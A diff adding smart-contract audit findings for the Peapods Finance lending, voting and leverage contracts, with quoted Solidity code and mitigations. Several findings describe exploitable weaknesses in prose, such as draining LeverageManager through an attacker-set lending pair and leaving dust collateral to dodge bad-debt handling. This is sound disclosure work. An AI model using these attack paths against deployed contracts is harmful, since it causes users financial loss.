+A common use case is when users are borrowing assets, if the asset amount within FraxlendPair is not enough, it will use the assets from LVA. This may lead to deposit asset amount larger than depositLimit, which defeats the purpose of this limit, and increases risk.
+
+```solidity
+ function _borrowAsset(uint128 _borrowAmount, address _receiver) internal returns (uint256 _sharesAdded) {
+ // Get borrow accounting from storage to save gas
+ VaultAccount memory _totalBorrow = totalBorrow;
+
+ // Check available capital (not strictly necessary because balance will underflow, but better revert message)
+ uint256 _totalAssetsAvailable = _totalAssetAvailable(totalAsset, _totalBorrow, true);
+ if (_totalAssetsAvailable < _borrowAmount) {
+ revert InsufficientAssetsInContract(_totalAssetsAvailable, _borrowAmount);
+ }
+ uint256 _localAssetsAvailable = _totalAssetAvailable(totalAsset, _totalBorrow, false);
+ if (_localAssetsAvailable < _borrowAmount) {
+ uint256 _externalAmt = _borrowAmount - _localAssetsAvailable;
+@> _depositFromVault(_externalAmt);
+ }
+ ...
+ }
+```
+
+### Internal pre-conditions
+
+- Users borrow asset, or users redeem asset, and triggers an LVA deposit to FraxlendPair.
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+`depositLimit` can be exceeded for a FraxlendPair. This defeats the purpose of this variable, which is used to limit risk of the lending market.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Move the check `if (depositLimit < _totalAsset.totalAmount(address(0)) + _amount) revert ExceedsDepositLimit();` into the internal `_deposit()` function.
\ No newline at end of file
diff --git a/497.md b/497.md
new file mode 100644
index 0000000..0974c01
--- /dev/null
+++ b/497.md
@@ -0,0 +1,95 @@
+Keen Jetblack Deer
+
+Medium
+
+# VotingPool.sol does not correctly price pTKN, spTKN, leading to minting a wrong amount of shares.
+
+
+### Summary
+
+VotingPool.sol does not correctly price pTKN, spTKN, leading to minting a wrong amount of shares.
+
+### Root Cause
+
+VotingPool is used for user staking their pTKN, spTKN tokens. User are granted the amount of shares equal to the price of the staked tokens. However, there are some underlying assumptions that may not be true:
+
+For pTKN, it mints the number of underlying token[0] to users. There are three assumptions here:
+
+1. There must only be one underlyingTKN for pTKN
+2. The underlying TKN must be a stablecoin
+3. The tokens must have the same decimals (e.g. USDC=6, DAI=18, if they are both supported, the accounting is severely incorrect)
+
+Also, for spTKN, the pairedLpTKN must also be a stablecoin token (judging from the formula it uses to price the spTKN).
+
+However, none of the assumptions is written in the docs. If an incorrect pTKN, spTKN is introduced, the VotingPool share accounting would be severely incorrect.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/voting/VotingPool.sol#L62
+
+```solidity
+ function _updateUserState(address _user, address _asset, uint256 _addAmt)
+ internal
+ returns (uint256 _convFctr, uint256 _convDenom)
+ {
+ require(assets[_asset].enabled, "E");
+ (_convFctr, _convDenom) = _getConversionFactorAndDenom(_asset);
+ Stake storage _stake = stakes[_user][_asset];
+ uint256 _den = _stake.stakedToOutputDenomenator > 0 ? _stake.stakedToOutputDenomenator : PRECISION;
+ uint256 _mintedAmtBefore = (_stake.amtStaked * _stake.stakedToOutputFactor) / _den;
+ _stake.amtStaked += _addAmt;
+ _stake.stakedToOutputFactor = _convFctr;
+ _stake.stakedToOutputDenomenator = _convDenom;
+ uint256 _finalNewMintAmt = (_stake.amtStaked * _convFctr) / _convDenom;
+ if (_finalNewMintAmt > _mintedAmtBefore) {
+ _mint(_user, _finalNewMintAmt - _mintedAmtBefore);
+ } else if (_mintedAmtBefore > _finalNewMintAmt) {
+ if (_mintedAmtBefore - _finalNewMintAmt > balanceOf(_user)) {
+ _burn(_user, balanceOf(_user));
+ } else {
+ _burn(_user, _mintedAmtBefore - _finalNewMintAmt);
+ }
+ }
+ emit UpdateUserState(_user, _asset, _convFctr, _convDenom);
+ }
+
+ function _getConversionFactorAndDenom(address _asset) internal view returns (uint256 _factor, uint256 _denom) {
+ _factor = PRECISION;
+ _denom = PRECISION;
+ if (address(assets[_asset].convFactor) != address(0)) {
+ (_factor, _denom) = assets[_asset].convFactor.getConversionFactor(_asset);
+ }
+ }
+```
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/voting/ConversionFactorPTKN.sol
+
+```solidity
+ function _calculateCbrWithDen(address _pod) internal view returns (uint256, uint256) {
+ require(IDecentralizedIndex(_pod).unlocked() == 1, "OU");
+ uint256 _den = 10 ** 18;
+ return (IDecentralizedIndex(_pod).convertToAssets(_den), _den);
+ }
+```
+
+### Internal pre-conditions
+
+A pTKN, spTKN not meeting the above requirements is enabled.
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+VotingPool shares accounting would be incorrect.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Add checks for pTKN, spTKN accordingly.
\ No newline at end of file
diff --git a/498.md b/498.md
new file mode 100644
index 0000000..46a7e2a
--- /dev/null
+++ b/498.md
@@ -0,0 +1,71 @@
+Keen Jetblack Deer
+
+Medium
+
+# VotingPool.sol Uniswap V2 pricing formula for spTKN is incorrect
+
+
+### Summary
+
+VotingPool.sol Uniswap V2 pricing formula for spTKN is incorrect, leading to minting a wrong amount of shares.
+
+### Root Cause
+
+VotingPool is used for user staking their pTKN, spTKN tokens. User are granted the amount of shares equal to the price of the staked tokens. For spTKN, since it is a Uniswap V2 LP of the pTKN and pairedLpTKN, it is priced using the fair pricing formula: https://blog.alphaventuredao.io/fair-lp-token-pricing/.
+
+The formula is `2 * sqrt(k * p0 * p1) / totalSupply`. Here, we assume the pricing use Q96 for handling float numbers, so price p0 and p1 are both under Q96 denomination. Since it is assumed pairedLpTKN is a stablecoin, we can assume p1 = Q96.
+
+Bug 1: `_sqrtPriceX96` the price of PEAS/stablecoin pool. However, `_pricePeasNumX96` should be PEAS/stablecoin price, and it is currently incorrectly reversed to stablecoin/PEAS. This is because Uniswap pool price is token0/token1, and the check `uint256 _pricePeasNumX96 = _token1 == PEAS ? _priceX96 : FixedPoint96.Q96 ** 2 / _priceX96;` here should be `_token0 == PEAS` instead.
+
+Bug 2: If the stablecoin does not have 18 decimals, it should be normalized to 18 decimals first (e.g. USDC).
+
+Bug 3: The `_pricePPeasNumX96 * _k` multiplication may overflow. Assume both reserve amount has 18 decimals. If both reseve has (1e6)e18 tokens, and price is 2, this would be `Q96 * 1e24 * 1e24 * 2`, which is over uint256. Having a PEAS/stablecoin Uniswap pool with 1e6 USDC and PEAS is not very hard (considering PEAS is ~5 USD).
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/voting/ConversionFactorSPTKN.sol#L29
+
+```solidity
+ function getConversionFactor(address _spTKN)
+ external
+ view
+ override
+ returns (uint256 _factor, uint256 _denomenator)
+ {
+ (uint256 _pFactor, uint256 _pDenomenator) = _calculateCbrWithDen(IStakingPoolToken(_spTKN).INDEX_FUND());
+ address _lpTkn = IStakingPoolToken(_spTKN).stakingToken();
+ address _token1 = IUniswapV3Pool(PEAS_STABLE_CL_POOL).token1();
+ uint160 _sqrtPriceX96 = TWAP_UTILS.sqrtPriceX96FromPoolAndInterval(PEAS_STABLE_CL_POOL);
+ uint256 _priceX96 = TWAP_UTILS.priceX96FromSqrtPriceX96(_sqrtPriceX96);
+ uint256 _pricePeasNumX96 = _token1 == PEAS ? _priceX96 : FixedPoint96.Q96 ** 2 / _priceX96;
+ uint256 _pricePPeasNumX96 = (_pricePeasNumX96 * _pFactor) / _pDenomenator;
+ (uint112 _reserve0, uint112 _reserve1) = V2_RESERVES.getReserves(_lpTkn);
+ uint256 _k = uint256(_reserve0) * _reserve1;
+ uint256 _avgTotalPeasInLpX96 = _sqrt(_pricePPeasNumX96 * _k) * 2 ** (96 / 2);
+
+ _factor = (_avgTotalPeasInLpX96 * 2) / IERC20(_lpTkn).totalSupply();
+ _denomenator = FixedPoint96.Q96;
+ }
+```
+
+### Internal pre-conditions
+
+N/A
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+Pricing of spTKN would be incorrect, leading to incorrect amount of VotingPool shares minted to users.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Fix the formula.
\ No newline at end of file
diff --git a/499.md b/499.md
new file mode 100644
index 0000000..bcf5c1d
--- /dev/null
+++ b/499.md
@@ -0,0 +1,106 @@
+Keen Jetblack Deer
+
+Medium
+
+# Attacker can set malicious `_overrideLendingPair` can drain funds in LeverageManager.
+
+
+### Summary
+
+Attacker can set malicious `_overrideLendingPair` can drain funds in LeverageManager.
+
+### Root Cause
+
+When creating a position in LeverageManager, user can set `_overrideLendingPair` to any address. This is assumed to be the fraxlending pair address, however, attacker can set this to a malicious contract and drain funds in LeverageManager.
+
+In removeLeverage, attacker can define whichever asset he wants to drain in the `asset()` function of the malicious contract. Then, a `safeIncreaseAllowance` is called to the malicious contract for this token. The attack only needs to pay an extra flashloan fee.
+
+For example, if there were 100 USDC leftover in the contract. The attacker can set `borrowAssetAmt` to 100. The removeLeverage would still conduct the flashloan for 100 USDC, and the attacker has to pay 100 USDC + fees. But in return, the attack gains the original 100 USDC which was originally in LeverageManager contract.
+
+As for why there may be remaining tokens in the contract, it is a separate bug reported in another issue, which is also related to removeLeverage. In the `_removeLeveragePostCallback()` function, if there is leftover borrowedTKN after the pTKN -> borrowedTKN swap, it is not returned to the user. This can be later drained by attackers.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L241
+
+```solidity
+ function _initializePosition(
+ address _pod,
+ address _recipient,
+ address _overrideLendingPair,
+ bool _hasSelfLendingPairPod
+ ) internal returns (uint256 _positionId) {
+ if (lendingPairs[_pod] == address(0)) {
+ require(_overrideLendingPair != address(0), "OLP");
+ }
+ _positionId = positionNFT.mint(_recipient);
+ LeveragePositionCustodian _custodian = new LeveragePositionCustodian();
+ // @audit-bug: `_overrideLendingPair` can be set to anything.
+ positionProps[_positionId] = LeveragePositionProps({
+ pod: _pod,
+@> lendingPair: lendingPairs[_pod] == address(0) ? _overrideLendingPair : lendingPairs[_pod],
+ custodian: address(_custodian),
+ isSelfLending: lendingPairs[_pod] == address(0) && _overrideLendingPair != address(0),
+ hasSelfLendingPairPod: _hasSelfLendingPairPod
+ });
+ }
+
+ function removeLeverage(
+ uint256 _positionId,
+ uint256 _borrowAssetAmt,
+ uint256 _collateralAssetRemoveAmt,
+ uint256 _podAmtMin,
+ uint256 _pairedAssetAmtMin,
+ uint256 _podSwapAmtOutMin,
+ uint256 _userProvidedDebtAmtMax
+ ) external override workflow(true) {
+ ...
+@> address _borrowTkn = _getBorrowTknForPod(_positionId);
+
+ // needed to repay flash loaned asset in lending pair
+ // before removing collateral and unwinding
+@> IERC20(_borrowTkn).safeIncreaseAllowance(_lendingPair, _borrowAssetAmt);
+ ...
+ IFlashLoanSource(_getFlashSource(_positionId)).flash(
+ _borrowTkn, _borrowAssetAmt, address(this), abi.encode(_props, _additionalInfo)
+ );
+ }
+
+ function _getBorrowTknForPod(uint256 _positionId) internal view returns (address) {
+ return IFraxlendPair(positionProps[_positionId].lendingPair).asset();
+ }
+
+ function _removeLeveragePostCallback(bytes memory _userData)
+ internal
+ returns (uint256 _podAmtRemaining, uint256 _borrowAmtRemaining)
+ {
+ ...
+ IERC20(_d.token).safeTransfer(IFlashLoanSource(_getFlashSource(_props.positionId)).source(), _repayAmount);
+@> _borrowAmtRemaining = _pairedAmtReceived > _repayAmount ? _pairedAmtReceived - _repayAmount : 0;
+ emit RemoveLeverage(_props.positionId, _props.owner, _collateralAssetRemoveAmt);
+ }
+
+```
+
+
+### Internal pre-conditions
+
+- LeverageManager has stuck tokens within. This token should also have a flashSource, so it can trigger the removeLeverage feature.
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+Explained above.
+
+### Impact
+
+Loss of funds for admin, considering there is a admin-function to rescue funds.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Always use admin-set value for lending pairs.
diff --git a/500.md b/500.md
new file mode 100644
index 0000000..0e7354c
--- /dev/null
+++ b/500.md
@@ -0,0 +1,61 @@
+Huge Cyan Cod
+
+High
+
+# Malicious liquidator can intentionally leave dust amount of collateral and won't trigger bad debt handling
+
+### Summary
+
+Malicious liquidator can intentionally leave dust amount of collateral and won't trigger bad debt handling
+
+### Root Cause
+
+The root cause of issue is in [FraxlendPairCore contract](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPair.sol#L422C1-L423C9), `_newMinCollateralRequiredOnDirtyLiquidation` variable's setter function is commented and now it's equal to 0 by default.
+
+In Fraxlend, this value is used for protecting the position to leave dust amount of collateral while it has still debt on it. Liquidators are incentivized by liquidator fee and they get extra collateral bonus for liquidation. But if there is dust amount of collateral left, no one will liquidate this position to earn dust amount of collateral and the position won't trigger bad debt handling.
+
+```solidity
+ if (_leftoverCollateral <= 0) {
+ // Determine if we need to adjust any shares
+ _sharesToAdjust = _borrowerShares - _sharesToLiquidate;
+ if (_sharesToAdjust > 0) {
+ // Write off bad debt
+ _amountToAdjust = (_totalBorrow.toAmount(_sharesToAdjust, false)).toUint128();
+
+ // Note: Ensure this memory struct will be passed to _repayAsset for write to state
+ _totalBorrow.amount -= _amountToAdjust;
+
+ // Effects: write to state
+ totalAsset.amount -= _amountToAdjust;
+ }
+ } else if (_leftoverCollateral < minCollateralRequiredOnDirtyLiquidation.toInt256()) {
+ revert BadDirtyLiquidation();
+ }
+```
+
+In conclusion, this kind of positions won't trigger the bad debt handling in the pool.
+
+
+### Internal Pre-conditions
+
+1. Bad debt condition is required in the position
+
+### External Pre-conditions
+
+No need
+
+### Attack Path
+
+1. Malicious liquidator will liquidate the position by leaving 1 wei of collateral and the bad debt mechanism won't be triggered
+
+### Impact
+
+Position won't be triggered by the liquidators and it will cause insolvency in the pool because withdraw actions will withdraw more assets than it should, the last person who has shares on the pair may lose all of his funds.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Choose a reasonable value for `_newMinCollateralRequiredOnDirtyLiquidation` and do not allow liquidators to leave the position's collateral below that value.
\ No newline at end of file
diff --git a/501.md b/501.md
new file mode 100644
index 0000000..70ceed2
--- /dev/null
+++ b/501.md
@@ -0,0 +1,28 @@
+Brief Nylon Dachshund
+
+Medium
+
+# Potential Loss of Funds Due to Incorrect `_processBurnFee()` Handling
+
+ The [_processBurnFee()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/DecentralizedIndex.sol#L217-L224) function is designed to burn a portion of transferred tokens based on the burn fee:
+```solidity
+ function _processBurnFee(uint256 _amtToProcess) internal {
+ if (_amtToProcess == 0 || _fees.burn == 0) {
+ return;
+ }
+ uint256 _burnAmt = (_amtToProcess * _fees.burn) / DEN;
+ _totalSupply -= _burnAmt;
+ _burn(address(this), _burnAmt);
+ }
+```
+The standard ERC20 `_burn` function already decreases the total supply when burning tokens. By manually decreasing `_totalSupply` before calling `_burn`, this implementation is double-counting the burn amount. The double deduction means the actual total supply will be less than it should be
+This could cause significant issues with:
+- Price calculations that depend on total supply
+- Liquidity provisioning that uses total supply in calculations
+- Any external integrations that rely on accurate total supply data
+
+## Impact
+Double accounting of burned tokens can lead to an incorrect supply representation, affecting pricing mechanisms and integrations that rely on total supply data.
+
+## Mitigation
+Simply remove the `_totalSupply -= _burnAmt;` line since the inherited `_burn` function already handles the supply accounting correctly.
\ No newline at end of file
diff --git a/502.md b/502.md
new file mode 100644
index 0000000..3ba0713
--- /dev/null
+++ b/502.md
@@ -0,0 +1,97 @@
+Boxy Charcoal Perch
+
+Medium
+
+# Unwrap fees is applied twice on pTKN price calculation
+
+### Summary
+
+Unwrap fees is applied twice on aspTKN price calculation which would lead to a lower pTKN (paired/pTKN) price or higher paired (pTKN/paired) token price than expected
+
+
+### Root Cause
+
+In `spTKNMinimalOracle::_calculateBasePerPTkn`
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L170-L186
+```solidity
+function _calculateBasePerPTkn(uint256 _price18) internal view returns (uint256 _basePerPTkn18) {
+ // pull from UniV3 TWAP if passed as 0
+ if (_price18 == 0) {
+ bool _isBadData;
+ (_isBadData, _price18) = _getDefaultPrice18();
+ if (_isBadData) {
+ return 0;
+ }
+ }
+ _basePerPTkn18 = _accountForCBRInPrice(pod, underlyingTkn, _price18);//converts base/uT to base/pod
+
+ // adjust current price for spTKN pod unwrap fee, which will end up making the end price
+ // (spTKN per base) higher, meaning it will take more spTKN to equal the value
+ // of base token. This will more accurately ensure healthy LTVs when lending since
+ // a liquidation path will need to account for unwrap fees
+ _basePerPTkn18 = _accountForUnwrapFeeInPrice(pod, _basePerPTkn18);
+ }
+```
+
+The Input Tkn price (`_price18` which is in Base/Tkn) is converted to pTkn price (Base/pTkn), the equation for converting Tkn price to pTkn price can be seen form the [official Oracle documentation here](https://docs.google.com/document/d/1Z-T_07QpJlqXlbBSiC_YverKFfu-gcSkOBzU1icMRkM/edit?tab=t.0#heading=h.i317t3y9nh4)
+
+$$ pTkn\_price = (Tkn\_price * CBR) * (1 - unwrap\_fee) $$
+where
+$$ CBR = balanceOf\_Tkn / totalSupply\_of\_pTkn $$
+
+The issue is that the `unwrap_fee` is accounted for in the `_accountForCBRInPrice` function already
+
+```solidity
+ function _accountForCBRInPrice(address _pod, address _underlying, uint256 _amtUnderlying)//this is 1 uT in base
+ internal
+ view
+ returns (uint256)
+ {
+ require(IDecentralizedIndex(_pod).unlocked() == 1, "OU");
+ if (_underlying == address(0)) {
+ IDecentralizedIndex.IndexAssetInfo[] memory _assets = IDecentralizedIndex(_pod).getAllAssets();
+ _underlying = _assets[0].token;
+ }
+ uint256 _pTknAmt =
+ (_amtUnderlying * 10 ** IERC20Metadata(_pod).decimals()) / 10 ** IERC20Metadata(_underlying).decimals();
+ return IDecentralizedIndex(_pod).convertToAssets(_pTknAmt);// <@
+ }
+
+ function convertToAssets(uint256 _shares) external view override returns (uint256 _assets) {
+ bool _firstIn = _isFirstIn();
+ uint256 _percSharesX96_2 = _firstIn ? 2 ** (96 / 2) : (_shares * 2 ** (96 / 2)) / _totalSupply;
+ if (_firstIn) {
+ _assets = (indexTokens[0].q1 * _percSharesX96_2) / FixedPoint96.Q96 / 2 ** (96 / 2);
+ } else {
+ _assets = (_totalAssets[indexTokens[0].token] * _percSharesX96_2) / 2 ** (96 / 2);
+ }
+ _assets -= ((_assets * _fees.debond) / DEN);// <@
+ }
+```
+
+
+### Internal Pre-conditions
+
+NONE
+
+### External Pre-conditions
+
+NONE
+
+### Attack Path
+
+NONE
+
+### Impact
+
+Incorrect price calculation
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+`_accountForUnwrapFeeInPrice` is unnecessary and should be removed
diff --git a/503.md b/503.md
new file mode 100644
index 0000000..28ad491
--- /dev/null
+++ b/503.md
@@ -0,0 +1,17 @@
+Rich Grey Crocodile
+
+Medium
+
+# `setPartner` should reset `_partnerFirstWrapped` to zero
+
+## Vulnerability Details
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/DecentralizedIndex.sol#L438-L441
+
+When the partner is changed in `DecentralizedIndex.sol` using `setPartner`, `_partnerFirstWrapped` is **not** set to zero. So the new partner loses their first fee-free wrap.
+
+Note that this **is not** an admin error as there are **no functions** to set `_partnerFirstWrapped` back to 0, hence there is **nothing** the admin can do to prevent this situation during a change of partner.
+
+## Recommendation
+Add a line `_partnerFirstWrapped = 0` into `setPartner` so that the new partner can rightfully have their first fee free wrap.
+
diff --git a/504.md b/504.md
new file mode 100644
index 0000000..5f62dd1
--- /dev/null
+++ b/504.md
@@ -0,0 +1,71 @@
+Huge Cyan Cod
+
+Medium
+
+# Transaction may revert unexpectedly due to missing allowance for the lending pair asset
+
+### Summary
+
+Transaction may revert unexpectedly due to missing allowance for the lending pair asset
+
+### Root Cause
+
+In [Leverage Manager](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L166C1-L182C88), remove leverage function firstly updates the interest rate of the lending for proper calculation of repay asset.
+
+```solidity
+&> IFraxlendPair(_lendingPair).addInterest(false);
+
+ // if additional fees required for flash source, handle that here
+ _processExtraFlashLoanPayment(_positionId, _sender);
+
+ address _borrowTkn = _getBorrowTknForPod(_positionId);
+
+ // needed to repay flash loaned asset in lending pair
+ // before removing collateral and unwinding
+&> IERC20(_borrowTkn).safeIncreaseAllowance(_lendingPair, _borrowAssetAmt);
+
+ LeverageFlashProps memory _props;
+ _props.method = FlashCallbackMethod.REMOVE;
+ _props.positionId = _positionId;
+ _props.owner = _owner;
+ bytes memory _additionalInfo = abi.encode(
+&> IFraxlendPair(_lendingPair).totalBorrow().toShares(_borrowAssetAmt, false),
+```
+
+The problem is `addInterest` function doesn't guarantee interest update because it only updates the interest if utilization rate change threshold is exceed. But in `repayAsset` function it guarantees interest accrual and the calculations for the share amount will be different than actual.
+
+```solidity
+ LeveragePositionProps memory _posProps = positionProps[_props.positionId];
+
+ // allowance increases for _borrowAssetAmt prior to flash loaning asset
+&> IFraxlendPair(_posProps.lendingPair).repayAsset(_borrowSharesToRepay, _posProps.custodian);
+```
+
+The `repayAsset` call will revert due to missing allowance because after interest accrual `_borrowSharesToRepay` value will require more assets than calculated.
+
+
+### Internal Pre-conditions
+
+1. Utilization rate change shouldn't exceed the threshold while repayment process
+
+### External Pre-conditions
+
+No need
+
+### Attack Path
+
+1. User is close to liquidation threshold and he wants to reduce leverage for safety
+2. He calls remove leverage function but it reverts due to issue
+3. User is liquidated because of price fluctation
+
+### Impact
+
+Remove leverage is time-sensitive function because it saves the position from liquidation point and it increases the health of the position. This is why it has to work as expected. In given scenario, user can be liquidated due to unexpected revert in repayment process.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Instead calculate the share amount using preview interest method
\ No newline at end of file
diff --git a/505.md b/505.md
new file mode 100644
index 0000000..ef13885
--- /dev/null
+++ b/505.md
@@ -0,0 +1,49 @@
+Sneaky Zinc Narwhal
+
+High
+
+# wrong calculation leads to inaccurate interest earn
+
+### Summary
+
+In the **FraxlendPairCore** contract, the function **_addInterest()** calculates the **_prevUtilizationRate** using **totalAssetsAvailable**. To obtain this value, it calls the function **_totalAssetAvailable**, which sums the total amounts of external and internal assets, then subtracts **_totalBorrow.amount** to compute **_totalAssetsAvailable**. This value is then used to calculate **_prevUtilizationRate**.
+
+In line 460, the function calls **_calculateInterest** to determine important variables such as **_utilizationRate**:
+```solidity
+uint256 _totalAssetsAvailable = _results.totalAsset.totalAmount(address(externalAssetVault));
+// Get the utilization rate
+uint256 _utilizationRate =
+ _totalAssetsAvailable == 0 ? 0 : (UTIL_PREC * _results.totalBorrow.amount) / _totalAssetsAvailable;
+```
+
+As we can see, when calculating **_totalAssetsAvailable**, we only add the total amounts of external and internal assets. We do not subtract **_totalBorrow.amount** as we did earlier, which leads to an incorrect **_utilizationRate**. Consequently, the new rate and **newFullUtilizationRate** will differ, resulting in inaccurate **interestEarned**.
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L398
+
+### Root Cause
+
+in FraxlendPairCore line 332 when calculating _totalAssetsAvailable it doesn't subtract **_totalBorrow.amount**
+
+### Internal Pre-conditions
+
+ _addInterest() need to be called
+
+### External Pre-conditions
+
+nothing
+
+### Attack Path
+
+it works when ever the **_addInterest()** is called
+
+### Impact
+
+loss of fund
+wrong interest calculation
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/506.md b/506.md
new file mode 100644
index 0000000..2a6d743
--- /dev/null
+++ b/506.md
@@ -0,0 +1,88 @@
+Alert Lime Panda
+
+Medium
+
+# Inability to reassign `stakeUserRestriction` after removal in `StakingPoolToken` contract
+
+### Summary
+
+In `StakingPoolToken` contract, the inability to reassign `stakeUserRestriction` after removal will cause a permanent loss of control over user staking permissions. Since `stakeUserRestriction` is used to enforce access control in the `stake()` function, its removal prevents any future modifications to staking restrictions.
+
+
+### Root Cause
+
+The `stakeUserRestriction` variable determines whether a specific address is allowed to stake on behalf of others. It is enforced in the `stake()` function as follows:
+
+```solidity
+ function stake(address _user, uint256 _amount) external override {
+ require(stakingToken != address(0), "I");
+@> if (stakeUserRestriction != address(0)) {
+@> require(_user == stakeUserRestriction, "U");
+ }
+ _mint(_user, _amount);
+ IERC20(stakingToken).safeTransferFrom(_msgSender(), address(this), _amount);
+ emit Stake(_msgSender(), _user, _amount);
+ }
+```
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/StakingPoolToken.sol#L69C6-L71C10
+
+- If `stakeUserRestriction` is set, only the specified address can stake tokens for a user.
+- If `stakeUserRestriction` is `address(0)`, anyone can stake, which may not be desirable in some cases.
+
+However, the contract allows `stakeUserRestriction` to be permanently removed via the `removeStakeUserRestriction()` function:
+
+```solidity
+ function removeStakeUserRestriction() external onlyRestricted {
+ stakeUserRestriction = address(0);
+ }
+```
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/StakingPoolToken.sol#L93C4-L95C6
+
+- This function can only be called by the current stakeUserRestriction due to the onlyRestricted modifier
+
+```solidity
+ modifier onlyRestricted() {
+ require(_msgSender() == stakeUserRestriction, "R");
+ _;
+ }
+```
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/StakingPoolToken.sol#L33C4-L36C6
+
+### Internal Pre-conditions
+
+Once `stakeUserRestriction` is removed
+
+### External Pre-conditions
+
+None
+
+### Attack Path
+
+Once `stakeUserRestriction` is removed (`address(0)`), the `onlyRestricted` modifier ensures that no one can call `setStakeUserRestriction()` again to reassign it:
+
+```solidity
+function setStakeUserRestriction(address _user) external onlyRestricted {
+ stakeUserRestriction = _user;
+}
+```
+This makes the removal irreversible, leading to permanent loss of access control in stake().
+
+### Impact
+
+- **Irreversible change:** The inability to reassign `stakeUserRestriction` means governance cannot recover restricted staking
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Allow the owner to reset the restriction
+
+```diff
+- function setStakeUserRestriction(address _user) external onlyRestricted {
++ function setStakeUserRestriction(address _user) external {
++ require(msg.sender == owner() || msg.sender == stakeUserRestriction, "Unauthorized");
+ stakeUserRestriction = _user;
+ }
+```
\ No newline at end of file
diff --git a/507.md b/507.md
new file mode 100644
index 0000000..88e2d9a
--- /dev/null
+++ b/507.md
@@ -0,0 +1,53 @@
+Nice Lipstick Nightingale
+
+High
+
+# USDT Collateral Handling Vulnerability in Leverage Workflow
+
+### Summary
+
+The use of `safeIncreaseAllowance` with USDT collateral will cause transaction failures for leverage position adjustments on Ethereum mainnet as users will be unable to modify existing positions when using USDT as collateral.
+
+### Root Cause
+
+In `LeveragePositionCustodian.sol:L19-25`:
+```solidity
+function borrowAsset(address _pair, uint256 _borrowAmount, uint256 _collateralAmount, address _receiver)
+ external
+ onlyOwner
+{
+ IERC20(IFraxlendPair(_pair).collateralContract()).safeIncreaseAllowance(_pair, _collateralAmount);
+ IFraxlendPair(_pair).borrowAsset(_borrowAmount, _collateralAmount, _receiver);
+}
+```
+The implementation uses OpenZeppelin's safeIncreaseAllowance which is incompatible with USDT's non-standard ERC20 implementation on Ethereum mainnet.
+
+### Internal Pre-conditions
+
+USDT must be configured as collateral in a Fraxlend pair
+The existing allowance for the Fraxlend pair must be greater than zero
+User attempts to adjust their leverage position (deposit additional collateral
+
+### External Pre-conditions
+
+Protocol must be deployed on Ethereum mainnet
+
+### Attack Path
+
+The user creates initial leverage position with USDT collateral (allowance 0 → X)
+User attempts to add more collateral to an existing position
+safeIncreaseAllowance tries to set allowance X → Y
+USDT contract rejects non-zero allowance increase
+Transaction reverts with "ERC20: failed to increase allowance"
+
+### Impact
+
+could block legitimate leverage operations when USDT is used as collateral, Will affect operations on the Ethereum main net where USDT is widely used
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Replace the existing safeIncreaseAllowance call.
\ No newline at end of file
diff --git a/508.md b/508.md
new file mode 100644
index 0000000..9968adb
--- /dev/null
+++ b/508.md
@@ -0,0 +1,93 @@
+Bent Beige Dachshund
+
+High
+
+# Either Voting or staking pool tokens minting can be blocked
+
+### Summary
+
+When tokens are minted in the `StakingPoolToken` and `VotingPool` contracts there is a call to `setShares()` in the `TokenRewards` contract of the respective rewards tokens
+
+```solidity
+File: VotingPool.sol
+114: function _update(address _from, address _to, uint256 _value) internal override {
+115: super._update(_from, _to, _value);
+116: require(_from == address(0) || _to == address(0), "NT");
+117:@> if (_from != address(0)) {
+118: TokenRewards(REWARDS).setShares(_from, _value, true);
+119: }
+120: if (_to != address(0) && _to != address(0xdead)) {
+121:@> TokenRewards(REWARDS).setShares(_to, _value, false);
+122: }
+123: }
+
+```
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/voting/VotingPool.sol#L114-L123
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/StakingPoolToken.sol#L101-L108
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L84
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L98
+
+### Root Cause
+
+There is a check in the `TokenRewards::setShares()` function to ensure that only the set `trackingToken` can call the function.
+
+
+```solidity
+File: TokenRewards.sol
+097: function setShares(address _wallet, uint256 _amount, bool _sharesRemoving) external override {
+098:@> require(_msgSender() == trackingToken, "UNAUTHORIZED");
+099: _setShares(_wallet, _amount, _sharesRemoving);
+100: }
+
+```
+
+The problem is that the `trackingToken` can be set only once in the `TokenRewards` contract
+
+```solidity
